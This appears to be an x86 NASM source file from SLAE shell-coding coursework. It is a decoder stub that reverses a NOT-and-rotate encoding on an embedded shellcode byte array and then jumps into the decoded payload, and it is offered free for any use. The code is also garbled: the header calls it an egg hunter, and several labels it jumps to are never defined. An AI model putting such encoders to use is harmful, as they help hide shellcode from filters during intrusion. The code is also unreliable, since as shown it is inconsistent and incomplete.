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; shellcode_decoder.nasm
; A Egg hunter shellcode
; Author: SLAE - 891
; You are free to use and/or redistribute it without restriction
global _start
section .text
jmp short call_shellcode ; jmp, call, pop technique
pop esi
xor eax, eax
xor ebx, ebx
mov al, byte [esi] ; we move the byte to be decoded
not al ; one's complement
rol al, 4 ; rolling on left to decode the rolling on right encoding
mov byte [esi], al ; saving the decoded byte
lea esi, [esi + 1] ; next byte
mov bl, [esi]
cmp bl, 0xaa ; looking for the end of encoded shellcode
je short EncodedShellcode ; we jump to the decoded shellcode
jmp short decode ; keeping on decoding
call decoder
EncodedShellcode: db 0xec,0xf3,0xfa,0x79,0xd9,0xe9,0xc8,0x79,0x79,0xd9,0x69,0x19,0x0d,0x79,0x0d,0x0d,0x0d,0x0d,0x67,0xc1,0xfa,0x67,0xd1,0xca,0x67,0xe1,0xf4,0x4f,0x23,0xf7,0xaa